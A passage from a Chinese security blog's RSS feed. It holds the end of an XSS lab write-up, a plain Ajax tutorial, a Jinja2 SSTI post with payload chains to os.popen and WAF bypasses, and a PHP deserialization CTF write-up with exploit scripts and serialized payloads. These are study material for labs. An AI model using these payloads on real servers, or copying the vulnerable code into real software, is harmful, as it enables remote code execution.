class="hljs html"><span class="hljs-symbol">&amp;#106;</span><span class="hljs-symbol">&amp;#97;</span><span class="hljs-symbol">&amp;#118;</span><span class="hljs-symbol">&amp;#97;</span><span class="hljs-symbol">&amp;#115;</span><span class="hljs-symbol">&amp;#99;</span><span class="hljs-symbol">&amp;#114;</span><span class="hljs-symbol">&amp;#105;</span><span class="hljs-symbol">&amp;#112;</span><span class="hljs-symbol">&amp;#116;</span><span class="hljs-symbol">&amp;#58;</span><span class="hljs-symbol">&amp;#97;</span><span class="hljs-symbol">&amp;#108;</span><span class="hljs-symbol">&amp;#101;</span><span class="hljs-symbol">&amp;#114;</span><span class="hljs-symbol">&amp;#116;</span><span class="hljs-symbol">&amp;#40;</span><span class="hljs-symbol">&amp;#49;</span><span class="hljs-symbol">&amp;#41;</span>/*http://*/</code></pre></div><h2 id="level-10"><a href="#level-10" class="headerlink" title="level-10"></a>level-10</h2><blockquote><p>审查页面元素，发现当前页面有三个imput框属性被设为了隐藏，同时URL栏有三个参数，向三个变量传参，发现最后一个参数保留在框中，可以构建行内js代码</p></blockquote><div class="code-wrapper"><pre><code class="hljs html">&quot; onclick=&quot;alert(1)&quot; type=&quot;text&quot; /</code></pre></div>]]>
      </content:encoded>
    </item>
    <item>
      <title>Ajax技术-前后端交互</title>
      <link>https://blog.lixey.top/Ajax%E6%8A%80%E6%9C%AF-%E5%89%8D%E5%90%8E%E7%AB%AF%E4%BA%A4%E4%BA%92/</link>
      <description>
        <![CDATA[<blockquote>
<p>Ajax 并不是一门编程语言，而是一种前后端交互的技术</p>
</blockquote>
<h1 id="什么是-Ajax"><a href="#什么是-Ajax" class="headerlink" title="什么是 Ajax"></a>]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E5%BC%80%E5%8F%91/">开发</category>
      <category domain="https://blog.lixey.top/tags/%E5%89%8D%E7%AB%AF/">前端</category>
      <pubDate>Thu, 31 Jul 2025 09:01:43 GMT</pubDate>
      <content:encoded>
        <![CDATA[<blockquote><p>Ajax 并不是一门编程语言，而是一种前后端交互的技术</p></blockquote><h1 id="什么是-Ajax"><a href="#什么是-Ajax" class="headerlink" title="什么是 Ajax"></a>什么是 Ajax</h1><p>通过在后台与服务器进行少量数据交换，Ajax 可以使用网页实现异步更新。这意味着可以在不重新加载整个网页的情况下，对网页的某部分进行更新。</p><h1 id="Ajax-实例"><a href="#Ajax-实例" class="headerlink" title="Ajax 实例"></a>Ajax 实例</h1><div class="code-wrapper"><pre><code class="hljs php">&lt;script&gt;<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">loadXMlDoc</span>(<span class="hljs-params"></span>)</span>&#123;<span class="hljs-comment">// Ajax 脚本执行</span>&#125;&lt;/script&gt;</code></pre></div><h2 id="XMLHttpRequest-对象"><a href="#XMLHttpRequest-对象" class="headerlink" title="XMLHttpRequest 对象"></a>XMLHttpRequest 对象</h2><p>所有现代浏览器均支持 XMLHttpRequest 对象</p><p>XMLHttpRequest 用于在后台与服务器进行数据交换</p><h2 id="创建-XMLHttpRequest-对象"><a href="#创建-XMLHttpRequest-对象" class="headerlink" title="创建 XMLHttpRequest 对象"></a>创建 XMLHttpRequest 对象</h2><div class="code-wrapper"><pre><code class="hljs javascript"><span class="hljs-keyword">var</span> xmlhttp = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();</code></pre></div><h2 id="Ajax-向服务器发出请求"><a href="#Ajax-向服务器发出请求" class="headerlink" title="Ajax 向服务器发出请求"></a>Ajax 向服务器发出请求</h2><div class="code-wrapper"><pre><code class="hljs javascript">xmlhttp.<span class="hljs-title function_">open</span>(<span class="hljs-string">&#x27;GET&#x27;</span>,<span class="hljs-string">&#x27;test.php&#x27;</span>,<span class="hljs-literal">true</span>);xmlhttp.<span class="hljs-title function_">send</span>();</code></pre></div><h3 id="方法"><a href="#方法" class="headerlink" title="方法"></a>方法</h3><ul><li>open(method,url,async)<ul><li>method：请求的类型 GET 或 POST</li><li>url ： 文件在服务器上的位置</li><li>async：true（异步）或 false （同步）</li></ul></li><li>send(string)<ul><li>string 仅用于 POST 请求</li></ul></li></ul><h3 id="GET-请求"><a href="#GET-请求" class="headerlink" title="GET 请求"></a>GET 请求</h3><div class="code-wrapper"><pre><code class="hljs javascript">xmlhttp.<span class="hljs-title function_">open</span>(<span class="hljs-string">&quot;GET&quot;</span>,<span class="hljs-string">&quot;test.php?id=1&quot;</span>,<span class="hljs-literal">true</span>);xmlhttp.<span class="hljs-title function_">send</span>();</code></pre></div><h3 id="POST-请求"><a href="#POST-请求" class="headerlink" title="POST 请求"></a>POST <strong>请求</strong></h3><div class="code-wrapper"><pre><code class="hljs javascript">xmlhttp.<span class="hljs-title function_">open</span>(<span class="hljs-string">&quot;POST&quot;</span>,<span class="hljs-string">&quot;test.php&quot;</span>,<span class="hljs-literal">true</span>);xmlhttp.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">&quot;Content-type&quot;</span>,<span class="hljs-string">&quot;application/x-www-form-urlencoded&quot;</span>);xmlhttp.<span class="hljs-title function_">send</span>(<span class="hljs-string">&quot;name=lixiney&amp;password=hello&quot;</span>);</code></pre></div><ul><li>setRequestHeader(header,value)<ul><li>header 请求头</li><li>请求头的值</li></ul></li></ul><h3 id="Async-true"><a href="#Async-true" class="headerlink" title="Async&#x3D;true"></a>Async&#x3D;true</h3><p>当 async &#x3D; true 时</p><div class="code-wrapper"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript"></span><span class="language-javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">loadXMLDoc</span>(<span class="hljs-params"></span>)&#123;</span><span class="language-javascript">        <span class="hljs-keyword">var</span> xmlhttp = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();</span><span class="language-javascript">        xmlhttp.<span class="hljs-property">onreadystatechange</span> = <span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)&#123;</span><span class="language-javascript">            <span class="hljs-keyword">if</span>(xmlhttp.<span class="hljs-property">readyState</span> == <span class="hljs-number">4</span> &amp;&amp; xmlhttp.<span class="hljs-property">status</span> == <span class="hljs-number">200</span>)&#123;</span><span class="language-javascript">                <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&quot;myDiv&quot;</span>).<span class="hljs-property">innerHTML</span>=xmlhttp.<span class="hljs-property">responseText</span>;</span><span class="language-javascript">            &#125;</span><span class="language-javascript">        &#125;</span><span class="language-javascript">        xmlhttp.<span class="hljs-title function_">open</span>(<span class="hljs-string">&quot;GET&quot;</span>,<span class="hljs-string">&quot;test.php&quot;</span>,<span class="hljs-literal">true</span>);</span><span class="language-javascript">        xmlhttp.<span class="hljs-title function_">send</span>();</span><span class="language-javascript">    &#125;</span><span class="language-javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></code></pre></div><h2 id="Ajax-服务器的响应"><a href="#Ajax-服务器的响应" class="headerlink" title="Ajax 服务器的响应"></a>Ajax 服务器的响应</h2><h3 id="服务器响应"><a href="#服务器响应" class="headerlink" title="服务器响应"></a>服务器响应</h3><ul><li>responseText<ul><li>获得字符串形式的响应数据</li></ul></li><li>responseXML<ul><li>获得XML形式的响应数据</li></ul></li></ul><h2 id="Ajax-onreadystatechange-事件"><a href="#Ajax-onreadystatechange-事件" class="headerlink" title="Ajax - onreadystatechange 事件"></a>Ajax - onreadystatechange 事件</h2><p>当请求被发送到服务器时，我们需要执行基于响应的任务。</p><p>每当 readyState 改变时，就会出发 onreadystatechange 事件。</p><ul><li>readyState 属性存有 XMLHttpRequest 的状态信息<ul><li>0 :  请求未初始化</li><li>1：服务器连接已建立</li><li>2：请求已接收</li><li>3：请求处理中</li><li>4：请求已完成，且响应就绪</li></ul></li><li>status <ul><li>200 : OK</li><li>404：未找到页面</li><li>其他状态码： <a href="https://www.runoob.com/http/http-status-codes.html">https://www.runoob.com/http/http-status-codes.html</a></li></ul></li></ul><h2 id="Ajax-Json"><a href="#Ajax-Json" class="headerlink" title="Ajax - Json"></a>Ajax - Json</h2><div class="code-wrapper"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript"></span><span class="language-javascript">    <span class="hljs-keyword">function</span> <span class="hljs-title function_">putJson</span>(<span class="hljs-params"></span>)&#123;</span><span class="language-javascript">        <span class="hljs-keyword">var</span> xmlhttp = <span class="hljs-keyword">new</span> <span class="hljs-title class_">XMLHttpRequest</span>();</span><span class="language-javascript">        xmlhttp.<span class="hljs-property">onreadystatechange</span> = <span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)&#123;</span><span class="language-javascript">        <span class="hljs-keyword">if</span>(xmlhttp.<span class="hljs-property">status</span> == <span class="hljs-number">200</span> &amp;&amp; xmlhttp.<span class="hljs-property">readyState</span> ==<span class="hljs-number">4</span>)&#123;</span><span class="language-javascript">            <span class="hljs-keyword">var</span> myArr = <span class="hljs-title class_">JSON</span>.<span class="hljs-title function_">parse</span>(<span class="hljs-variable language_">this</span>.<span class="hljs-property">responseText</span>);</span><span class="language-javascript">                <span class="hljs-title function_">myFunc</span>(myArr);</span><span class="language-javascript">           &#125;</span><span class="language-javascript">        &#125;</span><span class="language-javascript">        xmlhttp.<span class="hljs-title function_">open</span>(<span class="hljs-string">&quot;GET&quot;</span>,<span class="hljs-string">&quot;test.json&quot;</span>,<span class="hljs-literal">true</span>);</span><span class="language-javascript">        xmlhttp.<span class="hljs-title function_">setRequestHeader</span>(<span class="hljs-string">&quot;Content-type&quot;</span>,<span class="hljs-string">&quot;application/json;charset=utf-8&quot;</span>);</span><span class="language-javascript">        xmlhttp.<span class="hljs-title function_">send</span>();</span><span class="language-javascript">    &#125;</span><span class="language-javascript">    <span class="hljs-keyword">function</span> <span class="hljs-title function_">myFunc</span>(<span class="hljs-params">arr</span>)&#123;</span><span class="language-javascript"><span class="hljs-keyword">var</span> out = <span class="hljs-string">&quot;&quot;</span>;</span><span class="language-javascript">        <span class="hljs-keyword">var</span> i;</span><span class="language-javascript">        <span class="hljs-keyword">for</span>(i=<span class="hljs-number">0</span>;i&lt;arr.<span class="hljs-property">length</span>;i++)&#123;</span><span class="language-javascript">out += <span class="hljs-string">&#x27;a&lt; href=&quot;&#x27;</span>+arr[i].<span class="hljs-property">url</span>+<span class="hljs-string">&#x27;&quot;&gt;&#x27;</span>+arr[i].<span class="hljs-property">title</span>+<span class="hljs-string">&#x27;&lt;/a&gt;&lt;br&gt;&#x27;</span>;</span><span class="language-javascript">        &#125;</span><span class="language-javascript">        <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementById</span>(<span class="hljs-string">&#x27;myDiv&#x27;</span>).<span class="hljs-property">innerHTML</span>=out;</span><span class="language-javascript">    &#125;</span><span class="language-javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></code></pre></div><p>test.json</p><div class="code-wrapper"><pre><code class="hljs json"><span class="hljs-punctuation">[</span>  <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;JavaScript 教程&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;url&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;https://www.runoob.com/js/&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;HTML 教程&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;url&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;https://www.runoob.com/html/&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;CSS 教程&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;url&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;https://www.runoob.com/css/&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">]</span></code></pre></div>]]>
      </content:encoded>
    </item>
    <item>
      <title>SSTI模板注入漏洞</title>
      <link>https://blog.lixey.top/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</link>
      <description>
        <![CDATA[<h1 id="ssti漏洞的成因与危害"><a href="#ssti漏洞的成因与危害" class="headerlink" title="ssti漏洞的成因与危害"></a>ssti漏洞的成因与危害</h1><blockquote>
<p>当服务端接受了用户的恶意代码，未经]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/">网络安全</category>
      <category domain="https://blog.lixey.top/tags/ssti/">ssti</category>
      <category domain="https://blog.lixey.top/tags/python/">python</category>
      <pubDate>Tue, 08 Jul 2025 14:15:11 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="ssti漏洞的成因与危害"><a href="#ssti漏洞的成因与危害" class="headerlink" title="ssti漏洞的成因与危害"></a>ssti漏洞的成因与危害</h1><blockquote><p>当服务端接受了用户的恶意代码，未经任何处理就将其应用在web应用模板的部分上，服务端在渲染这些模板时，执行了这些恶意代码，可能导致getshell 代码执行 敏感信息泄露等安全问题</p></blockquote><p>一个简单的漏洞代码实例</p><div class="code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask,render_template_string,requestapp = Flask(__name__)<span class="hljs-meta">@app.route(<span class="hljs-params"><span class="hljs-string">&#x27;/&#x27;</span></span>)</span><span class="hljs-keyword">def</span> <span class="hljs-title function_">index</span>():    name = request.args.get(<span class="hljs-string">&quot;name&quot;</span>)    <span class="hljs-built_in">str</span> = <span class="hljs-string">f&quot;Hello <span class="hljs-subst">&#123;name&#125;</span>&quot;</span>    <span class="hljs-keyword">return</span> render_template_string(<span class="hljs-built_in">str</span>,name=name)<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:    app.run(debug=<span class="hljs-literal">True</span>)</code></pre></div><p>使用 <code>&#123;&#123;1-2&#125;&#125;</code> 测试，发现代码被执行</p><p><img src="/./SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/image-20250813160700465.png" alt="image-20250813160700465"></p><p>注意！</p><blockquote><p>这里的运算符号不能是 + 号，因为在url编码中+号做为空格使用</p></blockquote><h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><h2 id="从一个字符串或者列表对象中获取其类"><a href="#从一个字符串或者列表对象中获取其类" class="headerlink" title="从一个字符串或者列表对象中获取其类"></a>从一个字符串或者列表对象中获取其类</h2><div class="code-wrapper"><pre><code class="hljs jinja2">&#x27;&#x27;.__class__</code></pre></div><h3 id="获取基类，使用-这个类"><a href="#获取基类，使用-这个类" class="headerlink" title="获取基类，使用&lt;class ‘object’&gt; 这个类"></a>获取基类，使用&lt;class ‘object’&gt; 这个类</h3> <div class="code-wrapper"><pre><code class="hljs jinja2">&#x27;&#x27;.__class__.__bases__</code></pre></div> <div class="code-wrapper"><pre><code class="hljs jinja2">&#x27;&#x27;.__class__.__mro__</code></pre></div> <div class="code-wrapper"><pre><code class="hljs jinja2">&#x27;&#x27;.__class__.__base__</code></pre></div><p>​    </p><p><img src="/./SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/image-20250813163526166.png" alt="image-20250813163526166"></p><p>这里要使用 &lt;class ‘object’&gt;  这个类 可以使用下标表示</p><div class="code-wrapper"><pre><code class="hljs jinja2">&#x27;&#x27;.__class__.__mro__[1]</code></pre></div><h2 id="获取-object-类下面的所有子类"><a href="#获取-object-类下面的所有子类" class="headerlink" title="获取 object 类下面的所有子类"></a>获取 object 类下面的所有子类</h2><div class="code-wrapper"><pre><code class="hljs jinja2">&#x27;&#x27;.__class__.__base__.__subclasses__()</code></pre></div><p> 获取到之后选择合适的类，这里可以使用&lt;class ‘os._wrap_close’&gt;这个类</p><p>比如在列表的第117行，可以这样写</p><div class="code-wrapper"><pre><code class="hljs jinja2">&#x27;&#x27;.__class__.__base__.__subclasses__()[117]</code></pre></div><h2 id="初始化类，获取全局方法，变量以及参数"><a href="#初始化类，获取全局方法，变量以及参数" class="headerlink" title="初始化类，获取全局方法，变量以及参数"></a>初始化类，获取全局方法，变量以及参数</h2><div class="code-wrapper"><pre><code class="hljs jinja2">&#x27;&#x27;.__class__.__base__.__subclasses__()[117].__init__.__globals__</code></pre></div><h3 id="代码执行"><a href="#代码执行" class="headerlink" title="代码执行"></a>代码执行</h3><p>使用 popen()  + read() 方法可以返回执行后的结果</p><div class="code-wrapper"><pre><code class="hljs jinja2">&#x27;&#x27;.__class__.__base__.__subclasses__()[117].__init__.__globals__[&#x27;popen&#x27;](&#x27;whoami&#x27;).read()</code></pre></div><h3 id="其他引用"><a href="#其他引用" class="headerlink" title="其他引用"></a>其他引用</h3><div class="code-wrapper"><pre><code class="hljs jinja2">&#123;&#123;config.__class__.__init__.__globals__[&#x27;os&#x27;].popen(&#x27;whoami&#x27;).read()&#125;&#125;</code></pre></div><div class="code-wrapper"><pre><code class="hljs jinja2">&#123;&#123;urlfor.__class__.__globals__[&#x27;os&#x27;].popen(&#x27;calc&#x27;)&#125;&#125;</code></pre></div><div class="code-wrapper"><pre><code class="hljs jinja2">&#123;&#123;lipsum.__globals__[&#x27;os&#x27;].popen(&#x27;calc&#x27;)&#125;&#125;</code></pre></div><div class="code-wrapper"><pre><code class="hljs jinja2">&#123;&#123;get_flashed_messages.__globals__[&#x27;os&#x27;].popen(&#x27;whoami&#x27;).read()&#125;&#125;</code></pre></div><h1 id="waf绕过"><a href="#waf绕过" class="headerlink" title="waf绕过"></a>waf绕过</h1><h2 id="双重花括号拦截绕过"><a href="#双重花括号拦截绕过" class="headerlink" title="双重花括号拦截绕过"></a>双重花括号拦截绕过</h2><div class="code-wrapper"><pre><code class="hljs jinja2">&#123;%print(&#x27;&#x27;.__class__)%&#125;</code></pre></div><h2 id="request方法绕过"><a href="#request方法绕过" class="headerlink" title="request方法绕过"></a>request方法绕过</h2><div class="code-wrapper"><pre><code class="hljs python">request.args.key  <span class="hljs-comment">#获取get传入的key的值</span>request.form.key  <span class="hljs-comment">#获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)</span>reguest.values.key  <span class="hljs-comment">#获取所有参数，如果get和post有同一个参数，post的参数会覆盖get</span>request.cookies.key  <span class="hljs-comment">#获取cookies传入参数</span>request.headers.key  <span class="hljs-comment">#获取请求头请求参数</span>request.data  <span class="hljs-comment">#获取post传入参数(Content-Type:a/b)</span>request.json  <span class="hljs-comment">#获取post传入json参数 (Content-Type: application/json)</span></code></pre></div>]]>
      </content:encoded>
    </item>
    <item>
      <title>PHP代码审计-反序列化漏洞</title>
      <link>https://blog.lixey.top/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/</link>
      <description>
        <![CDATA[<blockquote>
<p>所有的 flag 均在 flag.php 的 $flag 变量中</p>
</blockquote>
<h1 id="level-1"><a href="#level-1" class="headerlink" title="level 1"></]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/">网络安全</category>
      <category domain="https://blog.lixey.top/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/">代码审计</category>
      <category domain="https://blog.lixey.top/tags/php/">php</category>
      <category domain="https://blog.lixey.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/">反序列化</category>
      <pubDate>Tue, 08 Jul 2025 13:38:45 GMT</pubDate>
      <content:encoded>
        <![CDATA[<blockquote><p>所有的 flag 均在 flag.php 的 $flag 变量中</p></blockquote><h1 id="level-1"><a href="#level-1" class="headerlink" title="level 1"></a>level 1</h1><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">a</span></span>&#123;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$act</span>;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">action</span>(<span class="hljs-params"></span>)</span>&#123;        <span class="hljs-keyword">eval</span>(<span class="hljs-variable language_">$this</span>-&gt;act);    &#125;&#125;<span class="hljs-variable">$a</span>=<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;flag&#x27;</span>]);<span class="hljs-variable">$a</span>-&gt;<span class="hljs-title function_ invoke__">action</span>();<span class="hljs-meta">?&gt;</span></code></pre></div><p>eval函数为代码执行函数，将字符串作为php代码执行，已知 flag 在 flag.php 文件中，先将 flag.php 文件包含进来，再对 flag 变量进行输出</p><p>exp:</p><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">a</span></span>&#123;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$act</span>;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">action</span>(<span class="hljs-params"></span>)</span>&#123;        <span class="hljs-keyword">eval</span>(<span class="hljs-variable language_">$this</span>-&gt;act);    &#125;&#125;<span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> a;<span class="hljs-variable">$test</span>-&gt;act = <span class="hljs-string">&#x27;include(&quot;flag.php&quot;);echo $flag;&#x27;</span>;<span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$test</span>)</code></pre></div><p>生成的payload：</p><blockquote><p>O:1:”a”:1:{s:3:”act”;s:31:”include(“flag.php”);echo $flag;”;}</p></blockquote><h1 id="level-2"><a href="#level-2" class="headerlink" title="level 2"></a>level 2</h1><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<span class="hljs-keyword">include</span>(<span class="hljs-string">&quot;flag.php&quot;</span>);<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">mylogin</span></span>&#123;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$user</span>;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$pass</span>;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$user</span>,<span class="hljs-variable">$pass</span></span>)</span>&#123;        <span class="hljs-variable language_">$this</span>-&gt;user=<span class="hljs-variable">$user</span>;        <span class="hljs-variable language_">$this</span>-&gt;pass=<span class="hljs-variable">$pass</span>;    &#125;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">login</span>(<span class="hljs-params"></span>)</span>&#123;        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;user==<span class="hljs-string">&quot;daydream&quot;</span> <span class="hljs-keyword">and</span> <span class="hljs-variable language_">$this</span>-&gt;pass==<span class="hljs-string">&quot;ok&quot;</span>)&#123;            <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;        &#125;    &#125;&#125;<span class="hljs-variable">$a</span>=<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;param&#x27;</span>]);<span class="hljs-keyword">if</span>(<span class="hljs-variable">$a</span>-&gt;<span class="hljs-title function_ invoke__">login</span>())&#123;    <span class="hljs-keyword">echo</span> <span class="hljs-variable">$flag</span>;&#125;<span class="hljs-meta">?&gt;</span></code></pre></div><p>login 方法中校验 user 和 pass 的值，如果返回结果为真，则输出 $flag</p><p>__construct 初始化方法</p><p>exp:</p><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<span class="hljs-keyword">include</span>(<span class="hljs-string">&quot;flag.php&quot;</span>);<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">mylogin</span></span>&#123;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$user</span>;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$pass</span>;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$user</span>,<span class="hljs-variable">$pass</span></span>)</span>&#123;        <span class="hljs-variable language_">$this</span>-&gt;user=<span class="hljs-variable">$user</span>;        <span class="hljs-variable language_">$this</span>-&gt;pass=<span class="hljs-variable">$pass</span>;    &#125;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">login</span>(<span class="hljs-params"></span>)</span>&#123;        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;user==<span class="hljs-string">&quot;daydream&quot;</span> <span class="hljs-keyword">and</span> <span class="hljs-variable language_">$this</span>-&gt;pass==<span class="hljs-string">&quot;ok&quot;</span>)&#123;            <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;        &#125;    &#125;&#125;<span class="hljs-variable">$test</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">mylogin</span>(<span class="hljs-string">&quot;daydream&quot;</span>,<span class="hljs-string">&quot;ok&quot;</span>);<span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$test</span>);<span class="hljs-meta">?&gt;</span></code></pre></div><p>payload:</p><blockquote><p>O:7:”mylogin”:2:{s:4:”user”;s:8:”daydream”;s:4:”pass”;s:2:”ok”;}</p></blockquote><h1 id="level-3"><a href="#level-3" class="headerlink" title="level 3"></a>level 3</h1><div class="code-wrapper"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<span class="hljs-keyword">include</span>(<span class="hljs-string">&quot;flag.php&quot;</span>);<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">mylogin</span></span>&#123;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$user</span>;    <span class="hljs-keyword">var</span> <span class="hljs-variable">$pass</span>;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$user</span>,<span class="hljs-variable">$pass</span></span>)</span>&#123;        <span class="hljs-variable language_">$this</span>-&gt;user=<span class="hljs-variable">$user</span>;        <span class="hljs-variable language_">$this</span>-&gt;pass=<span class="hljs-variable">$pass</span>;    &#125;    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">login</span>(<span class="hljs-params"></span>)</span>&#123;        <span class="hljs-keyword">if</span> (<span class="hljs-variable language_">$this</span>-&gt;user==<span class="hljs-string">&quot;daydream&quot;</span> <span class="hljs-keyword">and</span> <span class="hljs-variable language_">$this</span>-&gt;pass==<span class="hljs-string">&quot;ok&quot;</span>)&#123;            <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;        &#125;    &#125;&#125;<span class="hljs-variable">$a</span>=<span class="hljs-title function_ invoke__">unserialize</span>(<span class="hljs-variable">$_COOKIE</span>[<span class="hljs-string">&#x27;param&#x27;</span>]);<span class="hljs-keyword">if</span>(<span class="hljs-variable">$a</span>-&gt;<span class="hljs-title function_ invoke__">login</span>())&#123;    <span class="hljs-keyword">echo</span> <span class="hljs-variable">$flag</span>;&#125;<span class="hljs-meta">?&gt;</span></code></pre></div><p>与 level 2 相似 注意 超全局变量 $_COOKIE ，通过cookie 传参传入 payload ，同时进行一下url编码</p><p>payload：</p><blockquote><p>O%3a7%3a%22mylogin%22%3a2%3a%7bs%3a4%3a%22user%22%3bs%3a8%3a%22daydream%22%3bs%3a4%3a%22pass%22%3bs%3a2%3a%22ok%22%3b%7d</p></blockquote><p>未完待续。。。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>vulfocus|命令执行漏洞WP</title>
      <link>https://blog.lixey.top/vulfocus-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9EWP/</link>
      <description>
        <![CDATA[<h1 id="1-运行环境"><a href="#1-运行环境" class="headerlink" title="1.运行环境"></a>1.运行环境</h1><p>进入首页 返回 index.php?cmd&#x3D;ls &#x2F;tmp</p>
<h1 id="2-]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/">网络安全</category>
      <category domain="https://blog.lixey.top/tags/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/">命令执行</category>
      <category domain="https://blog.lixey.top/tags/WriteUp/">WriteUp</category>
      <pubDate>Sun, 06 Jul 2025 05:10:16 GMT</pubDate>
      <content:encoded>
